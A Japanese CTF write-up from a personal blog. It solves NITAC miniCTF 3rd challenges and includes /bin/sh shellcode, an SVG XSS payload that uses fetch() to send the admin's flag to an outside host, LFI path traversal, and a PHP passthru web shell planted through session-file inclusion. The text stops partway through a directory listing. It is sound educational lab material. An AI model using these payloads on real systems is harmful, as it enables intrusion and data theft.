st98 の日記帳


[ctf] 明石高専IT系勉強会 20: miniCTF 3rd の write-up

1 月 26 日の 13 時 30 分から 17 時 30 分にかけて開催された 明石高専IT系勉強会 #20: miniCTF 3rd に、ひとりチーム Hirota Sora としてリモートで参加しました。最終的に 17 問を解いて 2351 点を獲得し、順位は 1 点以上得点した 32 チーム中 1 位でした。

以下、解いた問題の write-up です。

[Sample 1] Welcome (31 solves)

NITAC miniCTFへようこそ!以下の欄に NITAC{sup3r_dup3r_sc0re_serv3r} と入力して、FLAGが提出できることを確認してください。

NITAC{sup3r_dup3r_sc0re_serv3r}

[Binary 100] signature (18 solves)

開けんけど…

添付ファイル: signature

file コマンドで signature がどのようなファイルか確認してみましょう。

$ file signature
signature: ELF (Tru64), unknown class 13
$ xxd signature | head
0000000: 7f45 4c46 0d0a 1a0a 0000 000d 4948 4452  .ELF........IHDR
0000010: 0000 0423 0000 021d 0806 0000 0007 efb7  ...#............
0000020: 2f00 0000 0473 4249 5408 0808 087c 0864  /....sBIT....|.d
0000030: 8800 0000 1974 4558 7453 6f66 7477 6172  .....tEXtSoftwar
0000040: 6500 676e 6f6d 652d 7363 7265 656e 7368  e.gnome-screensh
0000050: 6f74 ef03 bf3e 0000 1c96 4944 4154 789c  ot...>....IDATx.
0000060: eddd 39b2 eb46 8205 5042 f1b7 2347 a6ca  ..9..F..PB..#G..
0000070: d652 2ab4 2679 b595 72e4 7d4b 0ba8 4db4  .R*.&y..r.}K..M.
0000080: cf36 a427 bd91 c490 7973 3a27 a28c 16fa  .6.'....ys:'....
0000090: f381 891c 2f13 c0f6 cb2f bfdc 6f00 0000  ..../..../..o...

ELF を装っていますが、IHDRsBIT など PNG のチャンク名が含まれていることから、PNG ファイルのマジックナンバーを ELF のものに変えただけとわかります。バイナリエディタで 7f 45 4c 4689 50 4e 47 に変えると PNG ファイルとして開くことができました。

NITAC{dr4win9}

[Binary 100] shellcode (17 solves)

バイト列を入力すると実行してくれます。
このプログラムが動作しているディレクトリにFLAGの書かれたファイルが置いてあるので、それを読んでください。
(問題サーバへの接続情報)

添付ファイル: shellcode

file コマンドで shellcode がどのようなファイルか確認してみましょう。

$ file shellcode
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped

x86-64 の ELF のようです。どのような処理をしているか Ghidra で開いてデコンパイルしてみましょう。

undefined8 main(void)

{
  long in_FS_OFFSET;
  code local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("I will execute your code instead of you. Give me machine code bytes: ");
  fflush(stdout);
  fgets((char *)local_58,0x40,stdin);
  puts("Executing...");
  (*local_58)();
  puts("Since you reached here I bet you got the FLAG. Bye.");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

入力したバイト列をそのまま命令列として実行してくれるようです。execve/bin/sh を実行するシェルコードを投げてみましょう。

$ (echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'; cat) | nc (省略)
80
I will execute your code instead of you. Give me machine code bytes: ls
ls -la
total 28
drwxr-xr-x 1 root pwn  4096 Jan 25 12:27 .
drwxr-xr-x 1 root root 4096 Jan 25 12:27 ..
-r--r----- 1 root pwn    33 Jan 25 12:26 flag.txt
-r-xr-x--- 1 root pwn    41 Jan 25 12:26 redir.sh
-r-xr-x--- 1 root pwn  8576 Jan 25 12:26 shellcode
cat flag.txt
NITAC{I_g4ve_up_cr0ss_comp1ling}

フラグが得られました。

NITAC{I_g4ve_up_cr0ss_comp1ling}

[Binary 100] wrong copy (21 solves)

「重要なものはコピーしてバックアップしないとね!
objcopy --remove-section=.data --remove-section=.bss ./program

添付ファイル: program

file コマンドで program がどのようなファイルか確認してみましょう。

$ file program
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped

x86-64 の ELF のようです。.data セクションと .bss セクションが消されているのが気になりますが、Ghidra で開いてデコンパイルしてみましょう。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_58 = 0x30637b434154494e;
  local_50 = 0x31645f35315f7970;
  local_48 = 0x7d376c7563316666;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  puts((char *)&local_58);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

これなら消された 2 つのセクションがなくてもフラグが得られそうです。Python で main で行われている処理と同等のことをやってみましょう。

$ python3
>>> from binascii import unhexlify u
>>> u('30637b434154494e')[::-1] + u('31645f35315f7970')[::-1] + u('7d376c7563316666')[::-1]
b'NITAC{c0py_15_d1ff1cul7}'

フラグが得られました。

NITAC{c0py_15_d1ff1cul7}

[Binary 200] michael (4 solves)

マイケル「問題文は特にない、それよりレポートの提出で急いでるんだ!じゃあな!」ブロロロロ

添付ファイル: michael

file コマンドで michael がどのようなファイルか確認してみましょう。

$ file michael
michael: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fc3a86c7190332d658ee361ac2b34af448ff911d, for GNU/Linux 3.2.0, not stripped

x86-64 の ELF のようです。どのような処理をしているか Ghidra で開いてデコンパイルしてみましょう。


undefined8 main(void)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  int iVar4;
  long in_FS_OFFSET;
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("number 1: ");
  fgets(local_18,8,stdin);
  uVar1 = atoi(local_18);
  printf("number 2: ");
  fgets(local_18,8,stdin);
  uVar2 = atoi(local_18);
  printf("number 3: ");
  fgets(local_18,8,stdin);
  uVar3 = atoi(local_18);
  iVar4 = check((ulong)uVar1);
  if (iVar4 != 0) {
    iVar4 = check((ulong)uVar2);
    if (iVar4 != 0) {
      iVar4 = check((ulong)uVar3);
      if ((((iVar4 != 0) && (uVar1 * uVar2 * uVar3 == 0x654f)) && ((int)uVar1 < (int)uVar2)) &&
         ((int)uVar2 < (int)uVar3)) {
        printf("Congrats! the FLAG is NITAC{%d_%d_%d}\n",(ulong)uVar1,(ulong)uVar2,(ulong)uVar3);
        goto LAB_001013b2;
      }
    }
  }
  puts("Try harder! Be careful, this doesn\'t necessarily mean you are wrong.");
LAB_001013b2:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

(((iVar4 != 0) && (uVar1 * uVar2 * uVar3 == 0x654f)) && ((int)uVar1 < (int)uVar2)) && ((int)uVar2 < (int)uVar3) という条件を満たす 3 つの数値を入力すればよいようです。めんどくさいので 0x654f の約数を総当たりしましょう。

from pwn import *

xs = [1, 3, 5, 7, 13, 15, 19, 21, 35, 39, 57, 65, 91, 95, 105, 133, 195, 247, 273, 285, 399, 455, 665, 741, 1235, 1365, 1729, 1995, 3705, 5187, 8645, 25935]

for a in xs:
  for b in xs:
    for c in xs:
      if a * b * c != 0x654f:
        continue

      if a > b or b > c:
        continue

      p = process('./michael')
      p.sendline(str(a))
      p.sendline(str(b))
      p.sendline(str(c))

      try: 
        print(p.recvline())
      except:
        pass
$ python solve.py | grep NITAC
number 1: number 2: number 3: Congrats! the FLAG is NITAC{3_5_1729}

何度か実行すると (は?) フラグが得られました。

NITAC{3_5_1729}

[Crypto 100] base64 (29 solves)

これ、、読めますよね。。。

添付ファイル: encoded.txt

encoded.txt は以下のような内容でした。

TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K

問題名の通り Base64 デコードするとフラグが得られました。

NITAC{DO_YOU_KNOW_BASE64?}

[Crypto 200] knapsack (3 solves)

暗号は数だよ兄貴!

添付ファイル: ciphertext.txt, publickey.txt

問題名的に Merkle-Hellman ナップサック暗号でしょう。類題の ASIS CTF Quals 2014 で出題された Archaic の ソルバ を一部修正して SageMath で実行すると、以下のように出力されました。

︙
[ 2  0 -1 -1  0 -1  0  0 -1  2  1  0  0  1  0  0 -1  0  1 -1  1  0  1  0  1  2 -1  0  0  0  1  0  0  2  1  1 -1  0  1  0  1  2 -1  0 -1  0  1 -1  1  1  0  0  1  1 -1  1  2  0 -1  0  1  0 -1  0  1  1  1 -1  1  0  0  1  0  1  1  1  0  0  0  0  0  1  1  0  1  0  0  0  0  1  0  1  1  1  1  1  0  1  0  0  1  1  0  1  0  1  1  0  0  1  0  1  0  1  1  1  0  0  1  0  0  1  1  0  1  0  1  1  0  0  1  1  0  0  0  1  0  1  1  0  0  1  0  1  0  0  1  0  0  1  1  0  0  1  0  0  1  1  0  1  0  1  1  0  0  0  0  1  0  1  1  1  0  0  1  0  0  1  1  1  0  1  0  0  0  1  1  0  1  0  0  1  0  1  1  0  1  1  1  0  0  1  0  1  1  1  1  1  0  1  0  0  0  1  0  1  0  1  1  0  0  1  0  0  0  1  1  1  0  1  1  1  0  1  1  0  0  0  0  1  0  1  1  1  0  0  1  0  0  1  1  0  0  1  0  0  0  1  0  1  1  1  1  1  0  1  0  0  1  0  0  0  0  1  1  0  0  1  0  1  0  0  1  1  0  0  0  1  0  0  1  1  0  0  0  1  0  1  1  0  1  1  0  1  0  1  1  0  0  0  0  1  0  1  1  0  1  1  1  0  0  1  1  1  1  1  0  1  0]

デコードしてみます。

$ python2
>>> s = '1  0  0  1  0  1  1  1  0  0  0  0  0  1  1  0  1  0  0  0  0  1  0  1  1  1  1  1  0  1  0  0  1  1  0  1  0  1  1  0  0  1  0  1  0  1  1  1  0  0  1  0  0  1  1  0  1  0  1  1  0  0  1  1  0  0  0  1  0  1  1  0  0  1  0  1  0  0  1  0  0  1  1  0  0  1  0  0  1  1  0  1  0  1  1  0  0  0  0  1  0  1  1  1  0  0  1  0  0  1  1  1  0  1  0  0  0  1  1  0  1  0  0  1  0  1  1  0  1  1  1  0  0  1  0  1  1  1  1  1  0  1  0  0  0  1  0  1  0  1  1  0  0  1  0  0  0  1  1  1  0  1  1  1  0  1  1  0  0  0  0  1  0  1  1  1  0  0  1  0  0  1  1  0  0  1  0  0  0  1  0  1  1  1  1  1  0  1  0  0  1  0  0  0  0  1  1  0  0  1  0  1  0  0  1  1  0  0  0  1  0  0  1  1  0  0  0  1  0  1  1  0  1  1  0  1  0  1  1  0  0  0  0  1  0  1  1  0  1  1  1  0  0  1  1  1  1  1  0  1  0'
>>> hex(int(s.replace(' ', '')[:-1], 2))[3:-1]
'70685f4d65726b3165264d617274696e5f4564776172645f486531316d616e7d'
>>> hex(int(s.replace(' ', '')[:-1], 2))[3:-1].decode('hex')
'ph_Merk1e&Martin_Edward_He11man}'

フラグの前半が欠けてしまっていますが、この程度なら推測できます。

NITAC{Ra1ph_Merk1e&Martin_Edward_He11man}

[Crypto 200] modulo (7 solves)

(問題サーバへの接続情報)

添付ファイル: modulo.tar.gz

modulo.tar.gz を展開すると、以下のような内容の server.py というファイルが出てきました。

from secret import flag

if __name__ == '__main__':
    f = int.from_bytes(flag, byteorder='big')
    assert f < 1<<256
    try:
        n = int(input("n = "))
        assert 0 < n < 123456
        print("Here you are: {}".format(f % n))
    except:
        print("Invalid input!")
        exit(0)

フラグを 0 から 123456 までの好きな数値で割ったあまりを返してくれるようです。中国剰余定理でしょう。デカい素数をいくつか入力して、その結果を得るスクリプトを書きます。

from pwn import *

ns = []
xs = []
for n in [122849, 122861, 122867, 122869, 122887, 122891, 122921, 122929, 122939, 122953, 122957, 122963, 122971, 123001, 123007, 123017, 123031, 123049, 123059, 123077, 123083, 123091, 123113, 123121, 123127, 123143, 123169, 123191, 123203, 123209, 123217, 123229, 123239, 123259, 123269, 123289, 123307, 123311, 123323, 123341, 123373, 123377, 123379, 123397, 123401, 123407, 123419, 123427, 123433, 123439, 123449]:
    s = remote('(省略)', 80)
    s.sendline(str(n))
    s.recvuntil('Here you are: ')
    ns.append(n)
    xs.append(int(s.recvline()))
    s.close()

print 'ns =', ns
print 'xs =', xs
$ python2 get.py
ns = [122849, 122861, 122867, 122869, 122887, 122891, 122921, 122929, 122939, 122953, 122957, 122963, 122971, 123001, 123007, 123017, 123031, 123049, 123059, 123077, 123083, 123091, 123113, 123121, 123127, 123143, 123169, 123191, 123203, 123209, 123217, 123229, 123239, 123259, 123269, 123289, 123307, 123311, 123323, 123341, 123373, 123377, 123379, 123397, 123401, 123407, 123419, 123427, 123433, 123439, 123449]
xs = [77571, 114169, 107878, 97011, 53968, 6234, 56190, 88044, 91613, 93814, 101103, 76144, 118262, 83070, 92591, 8492, 67430, 85517, 17538, 79875, 78801, 56007, 90434, 77273, 22583, 69517, 30470, 27209, 47993, 16210, 99843, 96226, 115945, 88307, 87354, 62704, 27973, 69992, 14353, 15597, 114854, 26323, 25340, 6285, 13713, 110367, 22782, 34045, 46577, 44509, 36600]

SageMath で crt に投げます。

ns = [122849, 122861, 122867, 122869, 122887, 122891, 122921, 122929, 122939, 122953, 122957, 122963, 122971, 123001, 123007, 123017, 123031, 123049, 123059, 123077, 123083, 123091, 123113, 123121, 123127, 123143, 123169, 123191, 123203, 123209, 123217, 123229, 123239, 123259, 123269, 123289, 123307, 123311, 123323, 123341, 123373, 123377, 123379, 123397, 123401, 123407, 123419, 123427, 123433, 123439, 123449]
xs = [77571, 114169, 107878, 97011, 53968, 6234, 56190, 88044, 91613, 93814, 101103, 76144, 118262, 83070, 92591, 8492, 67430, 85517, 17538, 79875, 78801, 56007, 90434, 77273, 22583, 69517, 30470, 27209, 47993, 16210, 99843, 96226, 115945, 88307, 87354, 62704, 27973, 69992, 14353, 15597, 114854, 26323, 25340, 6285, 13713, 110367, 22782, 34045, 46577, 44509, 36600]

xx = xs[0]
nn = ns[0]

for x, n in zip(xs[1:], ns[1:]):
    xx = crt(xx, x, nn, n)
    print hex(xx)
    nn *= n

実行するとフラグが得られました。

NITAC{CRT_4lw4ys_h3lps_m3}

[Forensics 200] flower (12 solves)

学校にある絵にこんな秘密が隠されていたなんてーーー

添付ファイル: encrypt.py, flower.png, enc_flower.png

encrypt.py は以下のような内容でした。

import cv2
import numpy as np

img = cv2.imread('flower.png')

flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))])
flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag))

print(flag)
print(len(flag))

enc_img = []

cnt = 0

for i in img:
    img_line = []
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        r[-1] = flag[cnt]
        g[-1] = flag[cnt + 1]
        b[-1] = flag[cnt + 2]
        cnt += 3
        img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]])
    enc_img.append(img_line)
cv2.imwrite('enc_flower.png', np.array(enc_img))

RGB の LSB にフラグを仕込んでいるようです。青い空を見上げればいつもそこに白い猫enc_flower.png を開き、BGR の順番で LSB を抽出するとフラグが得られました。

NITAC{LSB_full_search}

[Misc 50] spam (11 solves)

好きにして、好きにして、煮るなり焼くなり好きにして

添付ファイル: spam.txt

spam.txt は以下のような内容でした。

Dear Friend , This letter was specially selected to
be sent to you . This is a one time mailing there is
no need to request removal if you won't want any more
. This mail is being sent in compliance with Senate
bill 1624 ; Title 3 , Section 303 ! THIS IS NOT A GET
RICH SCHEME ! Why work for somebody else when you can
become rich within 69 MONTHS ! Have you ever noticed
people will do almost anything to avoid mailing their
bills & nobody is getting any younger ! Well, now is
your chance to capitalize on this ! WE will help YOU
SELL MORE & use credit cards on your website . You
are guaranteed to succeed because we take all the risk
! But don't believe us . Mrs Anderson of Georgia tried
us and says "My only problem now is where to park all
my cars" ! We are a BBB member in good standing . If
not for you then for your loved ones - act now . Sign
up a friend and your friend will be rich too . Best
regards . Dear Salaryman ; Your email address has been
submitted to us indicating your interest in our publication
. This is a one time mailing there is no need to request
removal if you won't want any more . This mail is being
sent in compliance with Senate bill 1916 ; Title 1
, Section 302 ! This is not a get rich scheme . Why
work for somebody else when you can become rich as
few as 63 WEEKS . Have you ever noticed nearly every
commercial on television has a .com on in it & nearly
every commercial on television has a .com on in it
. Well, now is your chance to capitalize on this .
WE will help YOU SELL MORE and process your orders
within seconds . You can begin at absolutely no cost
to you . But don't believe us . Ms Anderson who resides
in Oklahoma tried us and says "My only problem now
is where to park all my cars" . We are licensed to
operate in all states ! Because the Internet operates
on "Internet time" you must act now . Sign up a friend
and you get half off ! Thanks .

"no need to request removal if you won't want any more" などこの文章の一部でググると、よく似た文章が含まれている本が Google ブックスに登録されていることがわかります。いくつかの本でその文章が出てくる前後を見てみると、どうやらこれは spammimic でエンコードされた文字列であるとわかります。このサイトにはデコーダも用意されており、これに投げるとフラグが得られました。

NITAC{it's_like_a_spam}

[Misc 200] taiwan (2 solves)

「疲れからか、不幸にも黒塗りの画像を出題してしまう・・・」
黒塗りに隠された文字列を英数字4字、NITAC{????}の形式でお答えください。

添付ファイル: taiwan.jpg

奇抜なオブジェが写っている写真が与えられました。写真の右側には黒塗りされた看板があり、この写真が撮影された場所を特定してその看板に何が書かれていたかを特定しろということのようです。

EXIF を確認しましたが、何も残っていません。Google で画像検索してみましたが、何も情報は得られません。New Year Contest 2020 の EvimAngya と TozAngya で得た知見から Bing に投げ、様々な箇所をトリミングして検索していると、よく似たオブジェが写っている画像がヒットしました。この写真には EXIF が残っており、嬉しいことに写真が撮影された座標もわかります。Google ストリートビューで写真が撮影された地点を見ると、例の看板に ATP1 と書かれていました。

NITAC{ATP1}

なお、sak さんや作問者の sei0o さんによると、Yandex ならもっと楽に先程に写真にたどり着けたようです。

[Network 100] Teacher’s Server (26 solves)

先生たちの共有サーバのパケットログが流出した。base32で符号化されたFLAGを探し出せ。

添付ファイル: Network1.pcapng

フラグフォーマットの NITAC を Base32 エンコードすると JZEVIQKD になります。strings でこれを含む文字列が得られないか試してみましょう。

$ strings Network1.pcapng | grep JZEVIQKD
flag: JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2===

出てきました。これをデコードするとフラグが得られました。

NITAC{ISAO_IS_MATHEMATICIAN}

[Web 200] Akhan Academy (1 solves)

数学がわからない人のためのSNSを作りました。最近僕はずっとここに張り付いています。(URL)

「最近僕はずっとここに張り付いています。」と XSS で管理者をはめられそうな雰囲気があります。与えられた URL にアクセスすると、以下のような HTML が表示されました。

<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.11.1/dist/katex.min.css" integrity="sha384-zB1R0rpPzHqg7Kpt0Aljp8JPLqbXI3bhnPWROx27a9N0Ll6ZP/+DiW/UqRcLbRjq" crossorigin="anonymous">
    <script src="./katex/katex.js"></script>
    <title>Akhan Academy</title>
    <meta charset="UTF-8">
  </head>
  <body>
    <a href="/"><h1>Akhan Academy</h1></a>
    プロフィール画像: <img src="/images/">

<form action="/pic" method="POST" enctype="multipart/form-data">
  <label>プロフィール画像 <input type="file" name="file" required></label>
  <input type="submit" value="設定する">
</form>

<hr>

<form action="/post" method="POST">
  <label>本文(LaTeXが使えるよ!)<br>
  <textarea id="tx" name="content" required></textarea></label><br>
  <label><input type="checkbox" name="is_public" checked> 公開する</label><br>
  <button onclick="addStamp(1);"><img src="stamp1.png" width="64"></button>
  <button onclick="addStamp(2);"><img src="stamp2.png" width="64"></button>
  <button onclick="addStamp(3);"><img src="stamp3.png" width="64"></button>
  <button onclick="addStamp(4);"><img src="stamp4.png" width="64"></button><br>
  <input type="submit" value="投稿する">
</form>
<br>

<hr>

<div id="wrapper">
  
    <article>
      <time>2020-01-26 05:35:36 UTC</time> 
       :
      <span class="content"> 
        
          \textrm{I&#39;m gonna show you the FLAG:}
        
      </span>
    </article>
  
    <article>
      <time>2020-01-26 05:35:36 UTC</time> 
      
        [非公開]
       :
      <span class="content"> 
        
          *****
        
      </span>
    </article>
  
    <article>
      <time>2020-01-26 05:35:36 UTC</time> 
       :
      <span class="content"> 
        
          \textrm{Oh, forgot to make it public haha}
        
      </span>
    </article>
  
</div>

<script>
  const addStamp = (num) => {
    document.getElementById("tx").value += `\\includegraphics[]{/stamp${num}.png}`
  }
</script>
    <script>
      const articles = document.querySelectorAll(".content")
      for (let el of articles) {
        katex.render(el.innerHTML, el, {
          throwOnError: false,
          trust: (context) => true
        })
      }
    </script>
  </body>
</html>

プロフィール画像のアップロードと、メッセージ (LaTeX) の投稿ができる Web アプリケーションのようです。素直な XSS ができないか <s>neko</s> を投稿してみましたが、&lt;s&gt;neko&lt;/s&gt; に変換されてしまいます。KaTeX の仕様を使って XSS しろということでしょう。

KaTeX について調べます。以下のように katex.rendertrust: (context) => true というオプションが付けられていますが、これはどういうことでしょうか。

        katex.render(el.innerHTML, el, {
          throwOnError: false,
          trust: (context) => true
        })

ドキュメントを見てみると、urlincludegraphics などのオプションを使用可能にするオプションのようだとわかりました。上記の HTML からわかる通りこのアプリケーションにはスタンプ機能があり、ボタンを押すと画像を投げることができます。これは \includegraphics[]{/stamp(スタンプ ID).png} を投稿することで実現されている機能で、つまりは includegraphics を使えというヒントなのでしょう。

適当なスタンプを投げて DevTools で確認すると、\includegraphics[]{/stamp1.png}<object data="/stamp1.png" class="mord" style="height: 0.9em;"></object> に変換されていることが確認できます。SVG ファイル中に JavaScript コードが含まれる場合、img 要素で読み込んだ場合には実行されませんが、object 要素の場合には実行されることに注目します。JavaScript を含む SVG ファイルをプロフィール画像としてアップロードし、これで読み込めないか試してみましょう。

まず、以下のような内容の payload.svg という SVG ファイルをアップロードします。

<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <script>
        alert(1);
    </script>
</svg>

\includegraphics[]{/images/payload.svg} というメッセージを投稿するとアラートが表示されました。やった!

実行するコードを fetch('/').then(resp => resp.text()).then(resp => { (new Image).src = 'http://(省略)?' + encodeURIComponent(resp.match(/NITAC\{.+\}/g)[0]); }); に変えて再度アップロードし、公開する にチェックを入れた状態で \includegraphics[]{/images/payload.svg} を投稿すると、管理者がこれを閲覧してフラグが得られました。

NITAC{wh4t_a_beaut1ful_f0rmu1a}

[Web 100] Admin Portal 1 (27 solves)

工事中のサイトなので新規登録できません…… (URL)

添付ファイル: adminportal.tar.gz

adminportal.tar.gz を展開するとこの Web サイトのソースコードが出てきました。

util.php

<?php
/**
 * Check if the visitor is already logged in
 */
function is_logged_in() {
    if (isset($_SESSION['user'])) {
        return true;
    } else {
        return false;
    }
}

function connect_db() {
    $pdo = new PDO("sqlite:/var/www/sqlite.db");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    return $pdo;
}

/**
 * Try to login
 */
function login($username, $password) {
    $pdo = connect_db();
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
    $stmt->execute([md5($username), md5($password)]);
    $r = $stmt->fetchAll();

    if (count($r) > 0) {
        $_SESSION['user'] = $username;
    }
}

/**
 * Register new account
 */
function register($username, $password) {
    $pdo = connect_db();

    if (user_exists($pdo, $username)) {
        return false;
    }
    
    $stmt = $pdo->prepare("INSERT INTO users(username, password) values(?, ?)");
    $stmt->execute([md5($username), md5($password)]);
    
    return true;
}

/**
 * Check if user exists
 */
function user_exists($pdo, $username) {
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username=?");
    $stmt->execute([md5($username)]);
    $r = $stmt->fetchAll();

    if (count($r) > 0) {
        return true;
    } else {
        return false;
    }
}
?>

index.php

<?php
require_once 'util.php';

session_start();

if (!is_logged_in()) {
    header("Location: /login.php");
    exit(0);
}

if (empty($_GET['lang'])) {
    $_GET['lang'] = "en.html";
}
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Home</title>
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
    </head>
    
    <body>
        <main role="main" class="container">
            <?php include("templates/" . $_GET['lang']); ?>
        </main>
        <hr>
        <footer role="footer" class="container">
            <a href="/?lang=en.html">English</a>
            <a href="/?lang=ja.html">日本語</a>
            <a href="/?lang=ch.html">中文</a>
            <a href="/?lang=ko.html">한글</a>
            <br>
            <p><?php print(file_get_contents("/flag1.txt")); ?></p>
        </footer>
    </body>
</html>

login.php

<?php
require_once 'util.php';

session_start();

if (isset($_POST['username']) && isset($_POST['password'])) {
    login((string)$_POST['username'], (string)$_POST['password']);
    $error = 'Wrong username or password';
}

if (isset($_GET['msg'])) $msg = htmlspecialchars($_GET['msg']);
if (isset($_GET['error'])) $error = htmlspecialchars($_GET['error']);

if (is_logged_in()) {
    header("Location: /");
    exit(0);
}
?>
(省略)

register.php

<?php
require_once 'util.php';

session_start();

function redirect($msg="", $error="") {
    header(sprintf("Location: /login.php?msg=%s&error=%s",
                   urlencode($msg), urlencode($error)));
    exit(0);
}

if (is_logged_in()) {
    header("Location: /");
    exit(0);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    
    if (register($username, $password)) {
        redirect("Registered new user", "");
    } else {
        redirect("", "Username already taken");
    }
}

redirect("", "Invalid request");
?>

「新規登録できません」とのことですが、HTML のフォームが用意されていないというだけで register.php はちゃんと存在しています。curl http://(省略)/register.php -d "username=nekoneko&password=8ae8d31e4b4aa0fc" でユーザ登録し、ログインするとフラグが得られました。

NITAC{00f_r3g1str4t10n_st1ll_w0rks}

[Web 100] Admin Portal 2 (17 solves)

2つ目のフラグは /flag2.txt に書かれています。
※この問題は”Admin Portal 1”の続きです

index.php の一部を抜き出します。

<main role="main" class="container">
            <?php include("templates/" . $_GET['lang']); ?>
        </main>

ユーザ入力をそのまま include に渡しており、ローカルに存在しているファイルを include できる (= そのファイルを PHP コードとして実行できる) という脆弱性の Local File Inclusion (LFI) ができそうです。../ を何度も続けてルートディレクトリまで戻り、/flag2.txt を読みましょう。/?lang=../../../../flag2.txt にアクセスするとフラグが得られました。

NITAC{n0w_u_kn0w_h0w_LFI_w0rks}

[Web 300] Admin Portal 3 (4 solves)

3つ目のフラグはルートディレクトリから探して下さい。
※この問題は”Admin Portal 2”の続きです

ヒント: FROM php:7.3-apache

今度はルートディレクトリのファイル一覧を得る必要があるようです。それっぽい機能はこの Web アプリケーション自体には存在せず、LFI を利用しようにもファイルのアップロード機能もないのにどうすれば…という感じですが、ユーザ入力が使われている箇所をもう一度確認してみましょう。util.php の一部を抜き出します。

<?php

/**
 * Try to login
 */
function login($username, $password) {
    $pdo = connect_db();
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
    $stmt->execute([md5($username), md5($password)]);
    $r = $stmt->fetchAll();

    if (count($r) > 0) {
        $_SESSION['user'] = $username;
    }
}

$_SESSION['user'] = $username; とセッションデータとしてユーザ入力のユーザ名が保存されています。PHP において、デフォルトの設定ではセッションデータは sess_(セッション ID) のようなファイル名で、(属性名)|(シリアライズされたデータ); のような形式で、セミコロン区切りで保存されています (Harekaze CTF 2019 の Easy Notes など参照)。これを利用すれば、PHP コードをユーザ名として登録・ログインしたあと、セッションデータが保存されているファイルを LFI で読み込めば任意の PHP コードを実行させることができそうです。

FROM php:7.3-apache というヒントからこの Web サーバはおそらく php/Dockerfile at affbdaf1386876560e287cd7708fafe2a4d246eb · docker-library/php を利用しているとわかります。この環境ではセッションデータは /tmp に保存されます。

<?php passthru($_GET[0]); ?> というユーザ名で登録・ログインし、?lang=../../../../tmp/sess_(セッション ID)&0=ls%20-la%20/ にアクセスすると、以下のようにルートディレクトリのファイルの一覧を取得できました。

︙
<main role="main" class="container">
            user|s:28:"total 96
drwxr-xr-x   1 root root 4096 Jan 26 02:47 .
drwxr-xr-x   1 root root 4096 Jan 26 02:47 ..
-rwxr-xr-x   1 root root    0 Jan 26 02:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 28 20:46 bin
drwxr-xr-x   2 root root 4096 Nov 10 12:17 boot
drwxr-xr-x   5 root root  340 Jan 26 04:30 dev
drwxr-xr-x   1 root root 4096 Jan 26 02:47 etc
